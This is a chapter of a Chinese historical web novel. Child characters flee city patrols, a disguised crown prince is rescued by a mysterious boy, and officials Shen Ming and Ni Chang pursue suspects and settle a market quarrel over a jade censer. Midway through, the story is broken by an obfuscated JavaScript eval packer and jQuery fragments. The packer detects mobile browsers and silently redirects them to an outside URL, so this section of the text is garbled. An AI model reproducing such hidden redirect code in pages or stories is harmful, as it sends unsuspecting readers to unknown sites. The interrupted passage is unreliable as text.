姜南阗一行往东，终于远离恩悌巷，躲在隐秘角落暂避风头。


    “没想到丁公子一语成谶，现在真的要放暗号让爹爹和江出兄来接我们了。”黄其甫放出暗号，一面等江出和黄碚到来，一面等走散的丁越和姜南疏前来汇合。


    三人默然，只是冥冥中似乎有什么事情被他们忽视了。


    就在三人想到一处的时刻，黄其甫恍然开了口。“不对啊，五公子呢？”


    ……


    姜南羿是随行的，三人确认了这一点之后开始回忆是从哪一刻开始把五公子弄丢的。


    “好像……巡防兵来之前，五弟弟就不在我边上了。”江南苒道，“莫非，他当时进了阁楼？还是说他跟着丁越哥哥跑了？”


    “好像都不是。”


    “好像是……阁楼内烟雾炸起之时……”


    ******


    太子楚琮瞻没想到出宫寻画，却遇到了抢劫，当众被反咬一口不说，还被人堵在茶楼里，但是他不能为自己申辩，当务之急是确保自己的身份不暴露，并且赶快回东宫。


    情急之下，楚琮瞻随身携带的“眼迷离”派上了用场，他掏出来一掷，茶楼里顿时烟雾弥漫。在混乱不清中，楚琮瞻借着身形优势翻到阁楼边，再顺着后侧方的边柱滑到角楼下，最后趁乱逃走，过程中他还拽了个椅帔罩在头上。


    “幸好带上了予鹿给的‘眼迷离’，我只当它是个烟花炮仗，没想到竟有奇效。”楚琮瞻一边暗自庆幸，一边直往东寻车驾。


    “你可能高兴得太早了，小弟弟。”


    楚琮瞻侧目，一男孩倚在茶摊前的矮窗上，他内着深紫色腊梅暗绣圆领袍，外着黑色腊梅暗绣半臂外衣，腰间黑色暗纹勾边腰带上，坠着一条络子，里面裹着的玉佩看不清样式。他束着发髻，马尾甩了一撮在右肩上，其中还附了几绺细辫。


    楚琮瞻看着他，不确定他在和自己说话，左右乜了眼，复又对上那男孩的脸。毋庸置疑，男孩正看着他，微挑着嘴角，眼中含笑，也含了几分盛气。


    “什么小弟弟，你看着并不比我年长，妄排尊卑。”


    “我看你应该是哪个高门贵府里偷溜出来的公子，你这一身武艺定是家中人给你找了师傅教导过的，你怎好出来闯祸？闯了祸，还想就这么逃走？”


    “谁说我闯祸了？是方才那人抢了我的东西。”


    “是吗？那你刚才怎么不解释，只一味想着开溜，也不想把自己的东西夺回来？”说话间，男孩已经走到楚琮瞻跟前。


    看着比自己高半个头的男孩，楚琮瞻失去了些许底气，对方能在混乱中识破自己的盾术，还轻而易举堵住自己的去路，真打起来，恐怕没有胜算，眼下更重要的是确保自己不被兵马属司的人抓住，赶紧回宫，否则东宫要乱套了。但是怎样甩开眼前这个难缠的家伙，着实令楚琮瞻头疼。


    只能第三十六计了，楚琮瞻不再多说，推开那男孩就往东继续狂奔，他速度极快，轻易的避开了一路的人和物。就在此时，前方隐约似有马蹄声，椅帔覆面，楚琮瞻约莫看见有一辆马车。他心下一喜，直觉那是乔矜安排好的东宫接应他的车驾。


    楚琮瞻加快步伐朝那马车奔去。恰在此时，左边巷道口一马匹嘶鸣着朝楚琮瞻袭来，那马无人驾驭，只管迎头朝前冲，楚琮瞻反应过来之时已避无可避。


    来不及了！楚琮瞻闭上眼，在这千钧一发危难时刻，脑中只剩一句：“完了。”


    视线受阻的楚琮瞻似乎听到一阵惊呼，但是马蹄声在他的耳畔尤为清晰，楚琮瞻听到它疾速靠近后瞬间落地的声音，近在耳侧，随即远去。不知过了多久，马蹄声又逐渐靠近，楚琮瞻毫发无伤的睁开眼，他仍然处在恍惚中。


    “吓傻了？”


    楚琮瞻闻声抬头，逆光中，男孩扯着缰绳，受惊的马儿被他降驭得游刃有余，逆着光，楚琮瞻看不清男孩的表情，只听他说：“快起来，我送你回家！”那语气里，尽显得瑟。


    ******


    “别跑！”


    不跑是不可能的，但是姜南疏此刻已经有点力竭了。


    与姜南阗等人分开的时候，姜南疏有意要吸引巡防兵的注意，彼时大街上混乱纷杂，人群蜂拥，巡防兵骑马反而没有姜南疏跑得灵活。可是临近昌隆街后，马路宽阔，无处藏匿，且巡防兵密布，姜南疏意识到自己将要面临“插翅难飞”的局面。


    “那小子，跑得贼快。”


    “看着人也不大，能生出什么事啊。”一个跑在后排的兵犹疑起来。


    “今天上面交代，务必拿住一切生事之人。何况我们追了几条街，这小子甩掉好几拨人了，普通半大小子能跑这么快吗？”


    “就因为这个，所以就怕是像是哪个官家的娃。”


    “咱们是巡防，头上是五城兵马总属司，再往上还有顾都督和三个硬骨头。你怕啥？咱们抓人什么时候要操心这个了？”另一个分析起来。


    “不对，是两个硬骨头，姓沈的那位……就算了吧。”


    “别废话了。”最前面一位膀大腰圆的巡防兵，打断正在议论的众人，掏出竹哨打了声响，“怕事的就只管堵，想立功的尽管抓。”说完踢了马肚跑远了。


    附近巡防兵听到响哨纷纷来堵，姜南疏临危不乱，闪身进入两座宅邸之间的窄巷，说来也巧，这窄巷恰能容下姜南疏身形。穿过窄巷，出来就是另一条街道了，姜南疏还未松口气，几个巡防兵打窄巷口经过。虚惊一场，姜南疏稳了稳心神，从巷口往外看了一圈，唯有一辆玄色马车停在对街路边。犹豫间，杂沓的马蹄声渐进，江南疏别无他计，一个箭步钻进了马车之中，没想到的是，这马感受到有人落座，当即踢踢踏踏的走动起来。


    “这马居然没有落栓？”


    缰绳一般插在车轼下方，姜南疏小心翼翼的撩开帘，发现车轼格外宽平，若非坐在外面，否则根本够不着缰绳，也就做不到控制住这匹马。他自车窗往外观察了一番，外围巡防兵较之前只多不少……


    “哎……”姜南疏微微摇头，徒叹奈何之际，一道身影自窗外映入眼帘。姜南疏兀自思忖片刻，再次朝那身影看去，不久前的一些记忆被唤醒……


    “小孩，其实最厉害的人，你们早就见过了……”


    “那人就是大程国曾经的镇北大将军，季鹰军主帅，你们的爹爹。”


    “然而你们何其幸运，如此年幼，今日却又见到了天下另一个非常厉害的人。”


    “那是，巡按御史沈大……啊！”


    马车只是轻微震动，姜南疏吃了一惊，毕竟在逃脱抓捕，他提着精神，令他感到不妙的是，此刻马车似乎变沉了，车帘外的光影暗了些许，凝神观察，姜南疏确定，有人坐在了这辆马车前侧，正驭马而行。


    ******


    沈溟不是急性子，但是今日却难掩焦躁，他唰的打开折扇，快速的给自己招呼了几下。边上的属兵感受到无形威压，大气也不敢出。


    “今日到底谁在闹事？怎么一会是两个孩子骑着马往东，一会是一个孩子飞檐走壁往东？还有说是两个少年带着个小姑娘往南的？”


    “千户大人……属下们，所见属实啊，只怕，只怕……”


    “怕个屁！”沈溟一甩宽袖，再度上马，他看了眼日头，快到未时了，不知道属兵们报上来的消息中，哪一个才是太子。如果太子还不回宫，不知道东宫会生出什么事端，最重要的是，太子此刻是否安全。


    此地离鸿宇大街尚有段路程，沈溟朝宫城的方向看了看，估摸乔广陵已经到了轩天门，如果东宫有消息，北林会立即传给他。


    不过他知道，北林的消息不会来得这么快。


    在焦灼等待消息的间隙，沈溟又想起今日在西郊城外那两名追逃的少年，沈溟刚出兵马属司之时原是要去西郊抓人的，半途得知东边有几名当事孩童踪迹，沈溟料想其中一个可能是太子，便立即调转了马头，来到了鸿宇大街附近。


    “如果太子楚琮瞻今日真的在恩悌巷出现，那么西郊那两人必定是涉事者，巡防兵口中所报的尚在城中乱窜的几个孩子，其中一人很有可能就是太子。找到太子是最重要的，但万一一时半火找不到，最直接的办法就是去审问那被抓的年轻人。”


    沈溟心中这样想着，便朝身边的兵马司属兵招呼了声，“你去告诉倪大人，就说今天西郊抓住的少年不可轻易放了，把人关在兵马司茶屋。”属兵应声，沈溟又补了句：“谁问也不好使，就说这人是我要亲自去审的。”交代完，沈溟把折扇往空中抛了抛，自以为很有掩盖性的说了句：“抓小孩嘛，好像挺好玩的。”


    兵马属司哨声此起彼伏，中间也有属兵错把非目标者看成要抓的人。沈溟站在街心，暗骂了句废物，巡防兵和直属兵马司的属兵都聚在这几条街，反而不利于抓捕。就在众人一筹莫展之时，沈溟觉得，从方才哪刻起，自己就被一双眼睛盯上了，这感觉时而明显，时而薄弱。他哈哈一笑，叹了口气：“许久不出来巡防，没成想现在抓个孩子，巡防司也如此吃力。”


    边上巡防兵听了，难免刺耳，握刀拱手认错：“千户大人，卑职等必当竭尽全力。一定抓住在逃之人。”


    沈溟又慈和的宽慰道：“哎，巡防的弟兄今日辛苦，不怪你们，要知道，灯芯暗黑处，虽人人可见，却又无人得见。”言尚未尽，那名巡防兵的手里握着的刀已经出窍，沈溟折扇轻挑刀柄，掌心运力，刀芒直指队伍的末尾。众人目光所及，队尾马上之人立即倒仰，避开锋芒，众目睽睽之下，马背上方才还虎背熊腰的同僚，刹那间变成了两小儿。


    沈溟轻笑道：“有趣，会玩。”旋即利落的在马鞍上拍了一掌，仅凭这掌势，身体腾空跃起，足尖轻点马背，飞身入巷。人人被这徒然发生的一幕震惊得错愕不已，等到反应过来要去追的时候，为时晚矣，两孩童早已经窜进小弄，消失没影儿了。


    两孩子身形瘦小灵活，一进入巷子就窜进角落隐匿了起来。巡防兵迅速围追堵截，沈溟则深入探寻，终于逼得那孩童现身。


    沈溟见那孩子在屋脊梁柱间行走来去自如，不禁叹到，“这小鬼，身法奇觉，颇有天资。”


    沈溟虽也身姿劲瘦轻盈，却不比孩童身量瘦小；小弄易于躲藏，但孩童武力有限。


    辗转跑了几条巷子，沈溟对那小鬼心中的盘算了然于心。各坊各街川横交错，屋舍楼阁鳞次栉比，沈溟并不苦追，只觉得那前面跑的那孩子，有似曾相识之感。


    日下高头，沈溟站在高屋瓴，他的影子停在东北向，脚下的几条巷子都被巡防兵塞满了。他眉宇舒展，眼眸清明，静静地看着方才两孩子进巷子那处顶层阁楼，少顷，沈溟目色微微一沉……


    ——


    阁楼内，自以为甩开了沈溟的男孩冲着角落喊了一句：“快出来罢。”


    这顶层阁楼不及丈高，太子楚琮瞻灵活的从阁楼后堆放的一坛坛酒酿中探出脑袋，看到头上裹着椅帔的男孩，放心大胆的跳出来，拍了拍身上的灰尘，“今日你救下我两次，我都记下了，他日我一定好好答谢你。”


    原来方才为了甩开沈溟，男孩让楚琮瞻躲进阁楼，自己则蒙着椅帔只身去引开沈溟。


    “我看我还是先送你回家，你爹娘更会答谢我，说不定酬劳比你给的更多。”男孩揶揄道。


    “你……”楚琮瞻欲要发作，但看男孩还裹着他抢的椅帔，蒙着脸，只露出一双明亮的眸子，莫名消了火，“算了，看在你今日有功的份上，我暂且不与你计较，你叫什么。”


    “我……”


    “你们是不是还打算结个拜？”两人交谈之际，一个声音猝不及防从身后传来。


    二人回头，沈溟不知道什么时候已经站在楼内，他倚着墙边的一副云梯，站在暗处。


    男孩第一反应便是拉着楚琮瞻往外逃。


    “站住！”沈溟冷然道。


    说来也奇，楚琮瞻竟然真的停下了，男孩不可置信，一副“你有病吧，为何不逃”的表情看着他，只听沈溟淡淡道：“轩天门外，绀青色马车，你舅舅在等你。”


    听到此，男孩立即松开了楚琮瞻，然后回头看向沈溟——站在暗处的人神色不明，阁楼里光线混沌，只见那人折扇轻摇，清灰常服映出一层暗淡的光。


    楚琮瞻来不及解释，拽着男孩朝轩天门奔去。


    ******


    沈千户去抓小孩了，属兵则将他的话老老实实转报了倪千户。


    其时倪昌正在核对旅邸配给数额，按理说这差事今日轮到沈溟了，兵马总属司没有统领都督，三位千户和副首顾羌行在外看来相互制约，实际同气连枝，却在具体事物上又秉持互不干涉之道。尽管对沈溟的很多行为不敢苟同，但是大抵都是能不管就不管，如同今日这般，他习以为常的认为这的确是沈溟行事风格，故而人也不看就命下属照办。他自己则兢（自）兢（认）业（倒）业（霉）的送配给去了。


    恩悌巷今日闹事者众多，送配给途中倪昌又刻意在恩悌巷周遭多转了一圈，方才朝西边的旅邸走去。


    “大人，今日巡防戒严了，因为白天有闹事者，巡防兵在这里抓了多个在场人回去。想必不会在有事的。”


    “嗯，我也是防患未然，冬遇大典在即，许多外国节度使臣朝贺，不可马虎。”


    “永益城的百姓在这方面我瞧着还是省心的，甭说平时掐架拌嘴闹得多厉害，一到外朝入都，底子里那些个最爱生事的刁民，也会抬头挺胸做出一派大国臣民的样子出来。”


    倪昌忍不住哂笑：“第一次听人把仗势欺人说得这么悦耳动听。不过，越是有心维持的东西，越容易被有心之人拿来破坏，做文章。”


    “为什么？”


    倪昌沉吟了一会，“因为越是精心维护得好的东西，就越是能勾起人打碎它的恶念吧……”


    属兵把手伸进颈里，挠了挠发根，“属下不明白，千户大人的意思，不用戒严，就算刁民闹事，也做常态之法处之？”


    另一个属兵当即给了他一拳头，驳道：“真是对牛弹琴，不用戒严大人为何还要特意来巡视？当然是提防蕞尔小国之人在关键时刻寻衅滋事，毁我大程风貌。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465657|164060||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    倪昌温和的笑了，劝道：“我也就随口说说，公务不可懈怠，该戒严还是得戒严。”


    队伍照常行进，走了没多久，就听见前方有吵闹声，一群人围在一货摊门口。不时还听见有人哭喊“打人”，“欺负人”云云。属兵率先将闹事者制止，待倪昌上前，不由吃了一惊。


    “你……们，姜……你们，诸位缘何在此啊？”


    一句话问的结结巴巴，边上的属兵没听出倪昌的顾虑，直截了当的斥问道：“你们，籍册所在统统报来，都干什么的，快……”


    “咳咳。”倪奂忍不住干咳了两声，拍了拍刚调动起情绪问话的属兵，挤到最前面，“今日永益城中不太平，诸位若是……”


    “回禀大人。草民姜南阗，这是草民的妹妹江南苒，还有家中三名护卫，黄碚、黄其甫、江出。”


    “咳咳咳……”吸了口凉气，倪昌这次真真切切的咳嗽了两声。


    姜南阗彬彬有礼，一派世家公子风范。方才问话的属兵几不可见的噎住了，此时不消倪昌阻止，竟一个字也没多说。


    今年江南平定水患，抗击海贼，守卫军粮的事迹，自那日早朝散后遍传永益城中，继而姜家父子擢升的消息昭告天下，不管前尘往事是否消弭，至少眼下，这姜家的确再次成为当朝重臣。


    姜南阗虽已升任坞城指挥史，而实际要等姜家从永益城回坞城，拿了任命文书，去有司衙门交接官印，才可自称指挥史，此时以草民自居，到也恰当。


    但是旁人可不敢真当他是草民。


    倪昌送配给时就见过姜家人，也算是相对熟悉，内心深知对他们行一般审问章程十分不妥，但此为闹市，愣头青下属又开了这个巡查问责的头。众目睽睽之下，不好轻飘飘揭过，最要命的是，姜南阗居然就这样青口白牙把身份交代得明明白白，让倪昌退无可退，只好硬着头皮，询问事发缘由。


    “千户大人，事情是这样的，我等今日特来城中闲逛，见这永益城中繁华满目，心下欢喜，就想着给家中弟弟妹妹们带些永益城中精美的小玩意儿，不成想……”姜南阗不急不躁，看了眼货摊掌柜，“在采买过程中，和这位店主就价钱和货物品相起了点争执。”


    “大人。”掌柜立即抢道：“这几位客官一看就不是普通百姓，鄙人只是一介商贩，哪敢糊弄。原是这姑娘打碎了小店的玉炉，几位不愿赔付不说，还扬言要，要砸了我的铺面。”


    “非是如此。”姜南阗没有生气，态度却十分坚定，“玉炉损毁也与三妹无关。”


    江南苒本就是急性，早就忍不住了，辩驳道：“就是，他自己故意将玉炉摔到地上，非说是我打碎的。”


    掌柜见二人在五城兵马属司面前仍旧一副泰然自若的模样，心中不由发虚，略一沉思，计上心头。只见他唯唯诺诺看了一眼江出和黄碚父子，怯生生将头埋得更低，一副担惊受怕的样子，道：“是，是，小的不敢，是小人眼拙手慢，没有及时接住姑娘递过来的玉炉……”


    听掌柜如此，边上的看客躁动起来，开始议论。


    “你……”江南苒气急。


    “姑娘人小，又是千金贵体，我这个粗鄙的买卖人更应该小心伺候着才是。”


    江南苒哪里受过这样的气，愤然中竟不知该从哪里开始骂。黄其甫轻轻按住了自家三小姐的肩膀，出面道：“颠倒是非，明明是你自己砸碎了物品，却在这里大吼大叫嫁祸到我们身上，这根本就是变着法的强卖，掌柜这生意真是做得另辟蹊径。”


    黄碚也说：“这位摊主方才可不是这幅模样。您方才不是还一副盛气凌人之态吗？”


    掌柜看着卑微，嘴巴却没闲着，“大人，这玉炉采用上等白玉经由大师耗时数月才精心雕琢而成，就连底配都是上等紫檀木。我也只是如实向诸位介绍货品，诸位若觉得价格不妥，鄙人也愿意折价出售。”


    江出道：“这位店主所谓的折价出售，实际却足足抬了五成利，嘴里还说什么永益城不比那穷乡僻壤之类的话语，不知店主口中的穷乡僻壤，指的是我大程国哪片土地？”


    边上窸窸窣窣，看客们边看热闹边议论着自己心中的是与非。


    掌柜依旧哈着腰，“那是，那是鄙人有眼无珠，只一门心思想着生意，不知晓人情世故……”这话有点厉害，就差当街宣告众人，五城兵马属司与姜南阗一行是权贵相护，沆瀣一气欺负他这个平头百姓。


    各执一词，一时难以分辨，倪昌是个武人，平时多在军中，直面百姓却分外在意轻重。属兵问了一圈也没有个人证站出来，走到倪昌面前，摇了摇头。倪昌微微点头，看了一眼姜南阗，道：“姜公子。我看这店主所求无非是损毁的玉炉有个着落，做生意嘛，就怕开张一天白忙活。若您所求是要还原真相，可能需要点时间。”


    江南苒听不得，分辨道：“这个人，所卖之物非是真品，价格还足足抬高了五倍，我与他分辨，他讽刺等是穷乡僻壤来的，没见过世面不识货。”


    “三白。”姜南阗温声制止妹妹。转头对倪昌说：“千户大人恕罪，妹妹年幼，自小任性惯了。”


    “是他不对在先的，我说他，那是实实在在的过错。他骂我们，纯粹是出言侮辱。”江南苒越说越厉，对着货摊掌柜连珠炮也似：“拿着秦绣当宣绣，还说店内丝帕出自紫秀坊。还把普通窑瓷说成是醉窑出的，还拿着棉麻夹丝说是东瀛传进来新奇品，那样式分明是……”


    江南苒还要继续发作，被姜南阗扯住，轻轻拍了拍。这是一个安抚的动作。


    倪昌看了眼货摊掌柜，这人面色青白，不知道是气急还是心虚。


    姜南阗安抚完妹妹，对倪昌拱手，千户大人公务缠身，有些事并不是非较真不可的，今日若非事关我三妹，也不会劳烦兵马属司，这玉炉我们买下了。但是损毁它绝非我三妹的过错。”


    没有人证，说来说去不过是赔付一顶玉炉，只要姜南阗等人愿意出钱，即可大事化小小事化了。倪昌明白的，姜南阗亦明白。在旁人看来如是，在姜南阗看来却不然。


    掌柜满意了，十分有眼力见的捧着残品，做小伏低道：“我这里是小本生意，若诸位客官看得起，我愿意折价，还愿无偿将玉炉修复，他日送到贵客府上也成。”又冲倪昌一脸痴笑：“千户大人，您看鄙人这样您可还满意？”


    倪昌定睛看了他一眼，那笑眼里写着什么一览无余。他挪开了眼，略一沉吟，道：“将玉炉带回，送去天工苑，仔细鉴别。还有方才姜姑娘口中置疑的货品，一并拿去。”


    掌柜呆愣住，少顷秉着哭腔道：“千户大人，千户大人，鄙人不敢了，鄙人小本生意，家中上有老下有小，若是大人要惩处鄙人，鄙人无话可说，求大人不要断了鄙人生路啊，大人……”


    属兵上前阻拦，呵斥道：“大胆，兵马属司按章程办事，谁也不可阻拦，只是拿你的货品验真伪，除有待查验的货品不可贩卖，你仍然可以继续经营。若查验出有不合律法，假商行骗的，按律法裁决。在天宫院查验期间，你不可擅自离家出城。无故潜逃者，罪加一等。”